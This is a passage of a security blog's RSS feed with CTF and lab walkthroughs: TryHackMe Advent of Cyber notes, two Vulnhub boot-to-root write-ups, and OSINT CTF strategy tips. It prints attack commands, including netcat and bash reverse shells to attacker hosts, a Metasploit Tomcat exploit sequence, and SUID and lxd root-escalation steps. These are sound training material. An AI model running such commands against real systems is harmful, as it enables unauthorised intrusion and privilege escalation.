<li>find web pages visited (HTTP) by specific host – <code>ip.src == 10.10.67.199 &amp;&amp; http.request.method == GET</code></li></ul>

<p>pcap 2</p>
<ul><li>find plaintext password in ftp traffic – <code>ftp.request.command==PASS</code></li>
<li>find encrypted protocol used – statistics &gt; protocol hierarchy (from this we see SSH which is an encrypted protocol)</li></ul>

<p>pcap 3</p>
<ul><li>recover files sent in the wire – file &gt; export objects &gt; http</li></ul>

<h2 id="day-8-networking-nmap-enumeration-what-s-under-the-christmas-tree" id="day-8-networking-nmap-enumeration-what-s-under-the-christmas-tree">Day 8: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:nmap" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">nmap</span></a> <a href="https://drsh0.writeas.com/tag:enumeration" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">enumeration</span></a> What&#39;s Under the Christmas Tree?</h2>

<p>A quick recap of nmap:</p>
<ul><li><code>-sT</code> – TCP scan</li>
<li><code>-sS</code> – SYN scan – default</li>
<li><code>-A</code> – aggressive scan (includes OS, version, script and traceroute scans)</li>
<li><code>--script vuln</code> – scan for common vulnerabilities on open ports
<ul><li>additional scripts: <code>enip-info</code>, <code>rdp-ntlm-info</code>, <code>http-enum</code></li>
<li>tip: you can use <code>*</code> as a wildcard when using <code>--script</code>.</li></ul></li></ul>

<h2 id="day-9-networking-ftp-anyone-can-be-santa" id="day-9-networking-ftp-anyone-can-be-santa">Day 9: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:ftp" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">ftp</span></a> Anyone can be Santa!</h2>
<ul><li>find anonymous ftp directories using <code>nmap $IP -sV --script=ftp-anon</code></li>
<li><code>ftp</code> in and retrieve <code>backup.sh</code></li>
<li>set up <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp" rel="nofollow">reverse shell</a> on local host: <code>rlwrap ncat -lnvp 4242</code></li>
<li>upload backup script back to the ftp server with an added bash reverse shell:
<code>sh -i &gt;&amp; /dev/udp/$THM_IP/4242 0&gt;&amp;1</code></li>
<li>we should get a root shell on remote host this way.</li></ul>

<h2 id="day-10-networking-smb-don-t-be-selfish" id="day-10-networking-smb-don-t-be-selfish">Day 10: <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:smb" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">smb</span></a> Don&#39;t be sElfish!</h2>

<p><code>enum4linux -U $IP</code> – enumerate users on SMB server
<code>enum4linux -S $IP</code> – enumerate shares on SMB server
<code>smbclient //$IP/$ShareName</code> – connect to SMB share</p>

<h2 id="day-11-networking-privesc-the-rogue-gnome" id="day-11-networking-privesc-the-rogue-gnome">Day 11:  <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:privesc" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">privesc</span></a> The Rogue Gnome</h2>
<ul><li>we&#39;re given details to log in to ssh as the <code>cmatic</code> user.</li>
<li>it appears to be a limited account without any <code>sudo</code> access, let&#39;s send over <code>LinEnum.sh</code> to automate enumeration for us.</li>
<li>on the target machine: <code>nc -l -p 1337 &gt; /tmp/LinEnum.sh</code></li>
<li>on the attacking machine: <code>nc -w 3 $machineIP 1337 &lt; LinEnum.sh</code></li>
<li>The above should send the file from our machine to the target machine via <code>nc</code> (timeout <code>-w</code> at 3 secs)</li>
<li>SUID enumeration reveals <code>/bin/bash</code> has SUID bit set</li>
<li>With <code>/bin/bash -p</code> we get a root shell. The <code>-p</code> tells  the shell to maintain the euid which in this case is 0 (root) due to SUID.</li></ul>

<h2 id="day-12-networking-initialaccess-ready-set-elf" id="day-12-networking-initialaccess-ready-set-elf">Day 12:  <a href="https://drsh0.writeas.com/tag:Networking" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">Networking</span></a> <a href="https://drsh0.writeas.com/tag:initialaccess" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">initialaccess</span></a> Ready, Set, Elf</h2>
<ul><li>nmap (<code>-sC -sV</code>)</li>
<li>we see tomcat 9.0.17 being used</li>
<li>searching that in exploit-db we find possible code exec CVEs</li></ul>

<p>metasploit:</p>

<pre><code>msfconsole
search CVE-2019-0232
use exploit/windows/http/tomcat_cgi_cmdlineargs
set lhost tun0
set rhost $remotehostIP
set URI $remotehostCGI
check
exploit
shell
</code></pre>

<p>the above gets us a user shell. Check privs with <code>run post/windows/gather/win_privs</code></p>

<h2 id="day-13-exploitation-coal-for-christmas" id="day-13-exploitation-coal-for-christmas">Day 13: <a href="https://drsh0.writeas.com/tag:exploitation" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">exploitation</span></a> Coal for Christmas</h2>
<ul><li>scan machine with nmap – notice telnet</li>
<li>connect to telnet and log in with creds displayed</li>
<li>Enumuration tips:
<ul><li>cat /etc/*release</li>
<li>cat /etc/issue</li></ul></li>
<li>Ubuntu 12.04 with kernel 3.2.0-23-generic – vulnerable to dirtyc0w.</li>
<li>Transfer dirtyc0w source code to target machine and compile</li>
<li>run and create a root privileged account!</li></ul>

<h2 id="day-14-osint-where-s-rudolph" id="day-14-osint-where-s-rudolph">Day 14: <a href="https://drsh0.writeas.com/tag:osint" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">osint</span></a>  Where&#39;s Rudolph?</h2>
<ul><li><a href="https://scylla.sh/" rel="nofollow">https://scylla.sh/</a> – neat place to find dehashed passwords.</li>
<li>always check the entire post history of an account if possible.</li></ul>

<h2 id="day-15-16-python" id="day-15-16-python">Day 15 &amp; 16: <a href="https://drsh0.writeas.com/tag:python" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">python</span></a></h2>

<pre><code class="language-python">#!/usr/bin/env python3
## TryHackMe Advent Calendar 2020 Day 16
## https://tryhackme.com/room/adventofcyber2

import requests

# The code below assumes an api endpoint with a odd-numbered key that we don&#39;t know the value of. The correct value will produce a flag.
# for loop to go over 1-100 key values, step by 2 to have odd numbers only

for api_key in range(1,100,2):
    # print what api key value we are iterating
    print(f&#34;api_key {api_key}&#34;)
    # this is the api endoing we are sending requests to
    r = requests.get(f&#39;http://EDITME_THMIP:8000/api/{api_key}&#39;)
    # only print text out if there are no failures or protections in place
    if &#34;Error&#34; not in str(r.text) and &#34;PROTECTION&#34; not in str(r.text):
        print(r.text)
</code></pre>

<h2 id="day-19-ssrf-web-the-naughty-or-nice-list" id="day-19-ssrf-web-the-naughty-or-nice-list">Day 19: <a href="https://drsh0.writeas.com/tag:SSRF" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">SSRF</span></a> <a href="https://drsh0.writeas.com/tag:web" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">web</span></a> The Naughty or Nice List</h2>
<ol><li>Observe that searches are proxied internally via <code>http://list.hohoho:8080/search.php?name=</code>.</li>
<li>Since an internal server is exposed, there are numerous things to do:
<ul><li>visit root of the host exposed e.g. <code>http://list.hohoho:8080</code> via the URI parameter.</li>
<li>try different ports for enumeration.</li>
<li>check for any app side blocking/filtering e.g. visiting <code>localhost</code> via the proxy. If blocked, consider using <code>localtest.me</code> which resolves to 127.0.0.1 e.g. <code>proxy=http://list.hohoho.localtest.me</code></li>
<li>this could lead to some sensitive exposure.</li></ul></li></ol>

<h2 id="day-17-18-reversing-assembly-dotnet-reverseelfneering-the-bits-of-christmas" id="day-17-18-reversing-assembly-dotnet-reverseelfneering-the-bits-of-christmas">Day 17 &amp; 18: <a href="https://drsh0.writeas.com/tag:reversing" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">reversing</span></a> <a href="https://drsh0.writeas.com/tag:assembly" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">assembly</span></a> <a href="https://drsh0.writeas.com/tag:dotnet" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">dotnet</span></a> ReverseELFneering  &amp; The Bits of Christmas</h2>

<p>Opening a binary with radare2 – <code>r2 -d &lt;file&gt;</code>
Analysing a binary – <code>aa</code>
List of functions – <code>afl</code>
Print disassembly function – <code>pdf @&lt;function&gt;</code>
Breakpoint – <code>db &lt;reference&gt;</code>
Run program until breakpoint – <code>dc</code>
View contents of memory address – <code>px @&lt;memory address&gt;</code>
Move to next instruction – <code>ds</code>
View %eax register – <code>dr</code>
Reload program – <code>ood</code></p>

<hr/>

<p>For DotNet applications, <strong>ILSpy</strong> and <strong>Dotpeek</strong> are good tools that can be used to decompile .NET applications and potentially view methods that contains information to bypass certain checks or authentication.</p>

<h2 id="day-20-powershell-powershellf-to-the-rescue" id="day-20-powershell-powershellf-to-the-rescue">Day 20: <a href="https://drsh0.writeas.com/tag:powershell" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">powershell</span></a> PowershELlF to the rescue</h2>

<p>Some intro to powershell and navigating the file and directory system:</p>

<p><strong><code>Get-ChildItem -Path &lt;&gt; -File/-Directory -Hidden -ErrorAction SilentlyContinue</code></strong>
The above would look for all items in a specified path that has either hidden files or folders and would not worry about any errors.</p>

<p><strong><code>Measure-Object</code></strong>
Can be piped to provide info on an object like words e.g. <code>Get-Content file.txt | Measure-Object -Word</code></p>

<p><strong><code>(Get-Content -Path file.txt)[index]</code></strong>
Read something in a file at a specfic position. E.g. ...file.txt)[100] for the 99th character.</p>

<p><strong><code>Select-String -Path ./Desktop -Pattern &#39;*.txt&#39;</code></strong>
Find all txt files within the desktop. Can also be used to search for strings within a file.</p>

<h2 id="day-21-forensics-powershell-time-for-some-elforensics" id="day-21-forensics-powershell-time-for-some-elforensics">Day 21: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">forensics</span></a> <a href="https://drsh0.writeas.com/tag:powershell" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">powershell</span></a> Time for some ELForensics</h2>
<ul><li>ADFS is a part of NTFS and can contain alternate data streams not visible to the user.
Calculate MD5:
<code>Get-FileHash -Algorithm MD5 &lt;file&gt;</code>
View streams:
<code>Get-Item -Path file.exe -Stream *</code>
Launch the stream/s found:
<code>wmic process call create $(Resolve-Path file.exe:streamname)</code></li></ul>

<h1 id="day-22-forensics-elf-mceager-becomes-cyberelf" id="day-22-forensics-elf-mceager-becomes-cyberelf">Day 22: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">forensics</span></a> Elf McEager becomes CyberElf</h1>

<p>Data decoding via <a href="https://gchq.github.io/CyberChef/" rel="nofollow">https://gchq.github.io/CyberChef/</a></p>

<h1 id="day-23-forensics-the-grinch-strikes-again" id="day-23-forensics-the-grinch-strikes-again">Day 23: <a href="https://drsh0.writeas.com/tag:forensics" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">forensics</span></a> The Grinch strikes again!</h1>
<ul><li>malicious scheduled tasks may often be utilised by ransomware operators.</li>
<li>volume shadow copy service (VSS) creates “snapshots” of data. This can be interacted with using <code>vssadmin</code></li>
<li>for any hidden volumes, they may be able to have a drive path assigned to them and mounted. Checking for hidden files and folders is also advisable in that volume.</li></ul>

<h2 id="day-24" id="day-24">Day 24</h2>

<p>Find hidden web directories and php pages:</p>

<pre><code class="language-bash">gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
</code></pre>

<pre><code class="language-bash">gobuster dir -u http://10.10.216.164:65000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -x php
</code></pre>

<p>Visit the discovered file upload page and try to upload a reverse PHP shell. A simple file rename to <code>.jpg.php</code> doesn&#39;t work. See network connections and notice <code>filter.js</code>. Block this to circumvent the client side filter. Visit the file once shell is uploaded and reverse shell listener is set up.</p>

<pre><code class="language-bash">rlwrap ncat -nlvp 1234
</code></pre>

<p>Upgrade shell:</p>

<pre><code class="language-bash">python3 -c &#39;import pty; pty.spawn(&#34;/bin/bash&#34;)&#39;
</code></pre>

<p>After finding the DB creds in the <code>includes</code> folder, connect to it using MySQL client.</p>

<pre><code>$ msql -utron -p
$ show databases;
$ use tron;
$ show tables;
$ select * from users;

</code></pre>

<p>We find the user <code>flynn</code>&#39;s hashed password which can be cracked via <a href="https://crackstation.net/" rel="nofollow">crackstation</a>.
Using these credentials, SSH into localhost (or use <code>su flynn</code>).
The flyn user is in the lxd group, allowing us to interact with linux containers (lxc).</p>

<pre><code class="language-bash">$ lxc image list # see if there are any images we can use
$ lxc init $IMAGENAME $CONTAINERNAME -c security.privileged=true # create a new priv. container
$ lxc config device add $CONTAINERNAME $DEVICENAME disk source=/ path=/mnt/root recursive=true # add mounted device with path = root
$ lxc start $CONTAINERNAME
$ lxc exec $CONTAINERNAME /bin/sh # connect to the container shell 
</code></pre>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/tryhackme-advent-of-cyber-2</guid>
      <pubDate>Thu, 10 Dec 2020 19:51:43 +0000</pubDate>
    </item>
    <item>
      <title>Vulnhub - BossPlayers CTF</title>
      <link>https://drsh0.writeas.com/vulnhub-bossplayers-ctf?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[URI: https://www.vulnhub.com/entry/bossplayersctf-1,375/&#xA;Difficulty: Easy&#xA;&#xA;  Aimed at Beginner Security Professionals who want to get their feet wet into doing some CTF&#39;s. It should take around 30 minutes to root.&#xA;&#xA;!--more--&#xA;&#xA;enum&#xA;&#xA;nmap&#xA;ssh + http; not much else to be seen here&#xA;webpage enumerate: robots.txt, index html source&#xA;find directory via index source (html comment)&#xA;&#xA;exploit&#xA;&#xA;it appears that the original developer wanted to ping via a web service on the server&#xA;try common terms used for this e.g ?command= or ?exec=&#xA;?cmd=id works; also looks like we have nc (which nc)&#xA;listener: rlwrap ncat -nlvp $PORT&#xA;reverse shell: nc -e /bin/sh $ATTACKING-IP $PORT &#xA;we&#39;re in with user www-data&#xA;grab user flag&#xA;&#xA;privesc&#xA;&#xA;spawn a tty (we have python): python -c &#39;import pty; pty.spawn(&#34;/bin/sh&#34;)&#39;&#xA;look for SUID binaries: find / -user root -perm -4000 -print 2  /dev/null&#xA;notable binaries: grep and find&#xA;both have entries on gtfobins&#xA;use find to spawn a root shell:&#xA;&#xA;find . -exec /bin/sh -p \; -quit&#xA;grab root flag&#xA;&#xA;#vulnhub #php #suid]]&gt;</description>
      <content:encoded><![CDATA[<p>URI: <a href="https://www.vulnhub.com/entry/bossplayersctf-1,375/" rel="nofollow">https://www.vulnhub.com/entry/bossplayersctf-1,375/</a>
Difficulty: Easy</p>

<blockquote><p>Aimed at Beginner Security Professionals who want to get their feet wet into doing some CTF&#39;s. It should take around 30 minutes to root.</p></blockquote>



<h2 id="enum" id="enum">enum</h2>
<ul><li>nmap</li>
<li>ssh + http; not much else to be seen here</li>
<li>webpage enumerate: robots.txt, index html source</li>
<li>find directory via index source (html comment)</li></ul>

<h2 id="exploit" id="exploit">exploit</h2>
<ul><li>it appears that the original developer wanted to ping via a web service on the server</li>
<li>try common terms used for this e.g <code>?command=</code> or <code>?exec=</code></li>
<li><code>?cmd=id</code> works; also looks like we have nc (<code>which nc</code>)</li>
<li>listener: <code>rlwrap ncat -nlvp $PORT</code></li>
<li>reverse shell: nc -e /bin/sh $ATTACKING-IP $PORT</li>
<li>we&#39;re in with user <code>www-data</code></li>
<li>grab user flag</li></ul>

<h2 id="privesc" id="privesc">privesc</h2>
<ul><li>spawn a tty (we have python): <code>python -c &#39;import pty; pty.spawn(&#34;/bin/sh&#34;)&#39;</code></li>
<li>look for SUID binaries: <code>find / -user root -perm -4000 -print 2&gt;/dev/null</code></li>
<li>notable binaries: <code>grep</code> and <code>find</code></li>
<li>both have entries on <a href="https://gtfobins.github.io/" rel="nofollow">gtfobins</a></li>
<li>use <code>find</code> to spawn a root shell:</li></ul>

<pre><code class="language-bash">find . -exec /bin/sh -p \; -quit
</code></pre>
<ul><li>grab root flag</li></ul>

<p><a href="https://drsh0.writeas.com/tag:vulnhub" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">vulnhub</span></a> <a href="https://drsh0.writeas.com/tag:php" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">php</span></a> <a href="https://drsh0.writeas.com/tag:suid" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">suid</span></a></p>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/vulnhub-bossplayers-ctf</guid>
      <pubDate>Thu, 10 Dec 2020 12:00:07 +0000</pubDate>
    </item>
    <item>
      <title>Vulnhub - Funbox Rookie</title>
      <link>https://drsh0.writeas.com/vulnhub-funbox-rookie?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[URI: https://www.vulnhub.com/entry/funbox-2-rockie,520/&#xA;Difficulty: Easy&#xA;&#xA;  Boot2Root ! This can be a real life scenario if rockies becomes admins. Easy going in round about 15 mins. Bit more, if you are find and stuck in the rabbit-hole first.&#xA;&#xA;!--more--&#xA;&#xA;enumeration&#xA;&#xA;nmap&#xA;find anon ftp access&#xA;get all zip files - they contain idrsa keys but are password protected&#xA;&#xA;initial access&#xA;&#xA;use /usr/sbin/zip2john to get hashes of all zip files&#xA;use john to crack these hashes using your favourite wordlist&#xA;user tom&#39;s zip file could be successfully cracked&#xA;extract idrsa with password&#xA;chmod 600 idrsa &amp;&amp; ssh -i idrsa $VulnHubIP -v&#xA;we&#39;re in 🔓&#xA;grab local.txt&#xA;&#xA;privesc&#xA;&#xA;sudo -l - prompted for tom&#39;s password which we don&#39;t have yet&#xA;check all files in directory ls -la&#xA;investigate .bashhistory and .mysqlhistory&#xA;looks like we see a password in mysql history&#xA;we have excessive sudo privileges&#xA;sudo su -l and grab proof.txt 🔚&#xA;&#xA;#vulnhub #ssh #sudo]]&gt;</description>
      <content:encoded><![CDATA[<p>URI: <a href="https://www.vulnhub.com/entry/funbox-2-rockie,520/" rel="nofollow">https://www.vulnhub.com/entry/funbox-2-rockie,520/</a>
Difficulty: Easy</p>

<blockquote><p>Boot2Root ! This can be a real life scenario if rockies becomes admins. Easy going in round about 15 mins. Bit more, if you are find and stuck in the rabbit-hole first.</p></blockquote>



<h2 id="enumeration" id="enumeration">enumeration</h2>
<ul><li>nmap</li>
<li>find anon ftp access</li>
<li>get all zip files – they contain <code>id_rsa</code> keys but are password protected</li></ul>

<h2 id="initial-access" id="initial-access">initial access</h2>
<ul><li>use <code>/usr/sbin/zip2john</code> to get hashes of all zip files</li>
<li>use <code>john</code> to crack these hashes using your favourite wordlist</li>
<li>user <strong>tom</strong>&#39;s zip file could be successfully cracked</li>
<li>extract <code>id_rsa</code> with password</li>
<li><code>chmod 600 id_rsa &amp;&amp; ssh -i id_rsa $VulnHubIP -v</code></li>
<li>we&#39;re in 🔓</li>
<li>grab <code>local.txt</code></li></ul>

<h2 id="privesc" id="privesc">privesc</h2>
<ul><li><code>sudo -l</code> – prompted for tom&#39;s password which we don&#39;t have yet</li>
<li>check all files in directory <code>ls -la</code></li>
<li>investigate <code>.bash_history</code> and <code>.mysql_history</code></li>
<li>looks like we see a password in mysql history</li>
<li>we have excessive sudo privileges</li>
<li><strong><code>sudo su -l</code> and grab <code>proof.txt</code> 🔚</strong></li></ul>

<p><a href="https://drsh0.writeas.com/tag:vulnhub" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">vulnhub</span></a> <a href="https://drsh0.writeas.com/tag:ssh" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">ssh</span></a> <a href="https://drsh0.writeas.com/tag:sudo" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">sudo</span></a></p>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/vulnhub-funbox-rookie</guid>
      <pubDate>Thu, 10 Dec 2020 07:48:25 +0000</pubDate>
    </item>
    <item>
      <title>OSINT CTF Strategy and Tactics</title>
      <link>https://drsh0.writeas.com/osint-ctf-strategy-and-tactics-notes?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Sharing some notes I recorded during @AletheDenis&#39; &#xA;OSINT CTF Strategy and Tactics II event back in September 2020. I hope it helps!&#xA;&#xA;It covers some tips, strategies, and common mistakes to avoid in order to get the most out of OSINT CTFs.  &#xA;&#xA;#osint #ctf&#xA;!--more--&#xA;&#xA;Tips&#xA;Zoom! Enhance&#xA;There is no substitution for scrolling&#xA;&#x9;scroll geolocated posts on IG&#xA;&#x9;scroll profile posts+tweets&#xA;Screen cap or it didn&#39;t happen.&#xA;Link usernames to other profiles.&#xA;Family trees have handy information&#xA;&#xA;Takeaways&#xA;&#xA;Collection&#xA;&#xA;Annotations are fine on screenshots for proof. However, evaluate the time it will take vs being able to concisely provide links and information using text. &#xA;&#xA;Tools&#xA;&#xA;Tools aren&#39;t really required to do good OSINT work. It ends up just complicating your workflow. Focus on good analysis. &#xA;&#xA;Strategy&#xA;&#xA;You should be able to submit a few hundred points in the first 30 mins. If you can&#39;t the subject may not have enough information to analyse. &#xA;&#xA;Sometimes you cannot submit the same link twice. To get around this, submit a link to the specific post or information. This can sometimes be done via permalinks and via embed/share options. &#xA;&#xA;Aim for 150-200 points in the first 20 minutes. This creates a good feedback loop for your brain to keep looking.  &#xA;&#xA;Low point flags must be submitted -- STACK and LAYER until you hit a wall. Rinse and repeat. &#xA;&#xA;Aim: decrease Time:Points ratio. &#xA;&#xA;Submissions&#xA;&#xA;Build your case with low point flags e.g. facebook profile --  confirmed. Utilise this to build bigger flags and mention that &#34;since the fb account was confirmed previously...&#34;&#xA;&#xA;You won&#39;t always have the same judge. Therefore, always substantiate - especially towards the end. &#xA;&#xA;Create rapport with your judge where possible. E.g. a group chat with the judge and your team in Slack (DM).  &#xA;&#xA;Submission Example&#xA;&#xA;e.g. sister&#39;s fb page&#xA;&#xA;Screenshot of information [the flag]&#xA;Proof = public link to sister&#39;s fb page&#xA;Relevance = &#34;there could potentially be comments or interactions on this facebook page relating to the subject&#34;&#xA;Substantiation / Evidence = Include a link to the specific page and write how this is showing the above e.g. sister is talking about the brother 2 weeks before they disappeared. &#xA;&#xA;Analysis&#xA;&#xA;Make sure you are able to get foundational flags correct and verified. All future and potentially larger flags will depend on this foundation. &#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>Sharing some notes I recorded during <a href="https://twitter.com/AletheDenis" rel="nofollow">@AletheDenis</a>&#39;
<a href="https://www.eventbrite.com/e/osint-ctf-strategy-and-tactics-ii-tickets-119972459857" rel="nofollow">OSINT CTF Strategy and Tactics II</a> event back in September 2020. I hope it helps!</p>

<p>It covers some tips, strategies, and common mistakes to avoid in order to get the most out of OSINT CTFs.</p>

<p><a href="https://drsh0.writeas.com/tag:osint" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">osint</span></a> <a href="https://drsh0.writeas.com/tag:ctf" class="hashtag" rel="nofollow"><span>#</span><span class="p-category">ctf</span></a>
</p>

<h2 id="tips" id="tips">Tips</h2>
<ol><li>Zoom! Enhance</li>
<li>There is no substitution for scrolling
<ul><li>scroll geolocated posts on IG</li>
<li>scroll profile posts+tweets</li></ul></li>
<li>Screen cap or it didn&#39;t happen.</li>
<li>Link usernames to other profiles.</li>
<li>Family trees have handy information</li></ol>

<h2 id="takeaways" id="takeaways">Takeaways</h2>

<h3 id="collection" id="collection">Collection</h3>
<ul><li>Annotations are fine on screenshots for proof. However, evaluate the time it will take vs being able to concisely provide links and information using text.</li></ul>

<h3 id="tools" id="tools">Tools</h3>
<ul><li>Tools aren&#39;t really required to do good OSINT work. It ends up just complicating your workflow. Focus on good analysis.</li></ul>

<h3 id="strategy" id="strategy">Strategy</h3>
<ul><li><p>You should be able to submit a few hundred points in the first 30 mins. If you can&#39;t the subject may not have enough information to analyse.</p></li>

<li><p>Sometimes you cannot submit the same link twice. To get around this, submit a link to the specific post or information. This can sometimes be done via permalinks and via embed/share options.</p></li>

<li><p>Aim for 150-200 points in the first 20 minutes. This creates a good feedback loop for your brain to keep looking.</p></li>

<li><p>Low point flags must be submitted — STACK and LAYER until you hit a wall. Rinse and repeat.</p></li>

<li><p><strong>Aim:</strong> decrease <code>Time:Points</code> ratio.</p></li></ul>

<h3 id="submissions" id="submissions">Submissions</h3>
<ul><li><p>Build your case with low point flags e.g. facebook profile —&gt; confirmed. Utilise this to build bigger flags and mention that “since the fb account was confirmed previously...”</p></li>

<li><p>You won&#39;t always have the same judge. Therefore, always substantiate – especially towards the end.</p></li>

<li><p>Create rapport with your judge where possible. E.g. a group chat with the judge and your team in Slack (DM).</p></li></ul>

<h4 id="submission-example" id="submission-example">Submission Example</h4>

<p><em>e.g. sister&#39;s fb page</em></p>
<ul><li><strong>Screenshot</strong> of information [the flag]</li>
<li><strong>Proof</strong> = public link to sister&#39;s fb page</li>
<li><strong>Relevance</strong> = “there could potentially be comments or interactions on this facebook page relating to the subject”</li>
<li><strong>Substantiation / Evidence</strong> = Include a link to the specific page and write how this is showing the above e.g. sister is talking about the brother 2 weeks before they disappeared.</li></ul>

<h3 id="analysis" id="analysis">Analysis</h3>
<ul><li>Make sure you are able to get foundational flags correct and verified. All future and potentially larger flags will depend on this foundation.</li></ul>
]]></content:encoded>
      <guid>https://drsh0.writeas.com/osint-ctf-strategy-and-tactics-notes</guid>
      <pubDate>Sun, 06 Dec 2020 06:47:10 +0000</pubDate>
    </item>
  </channel>
</rss>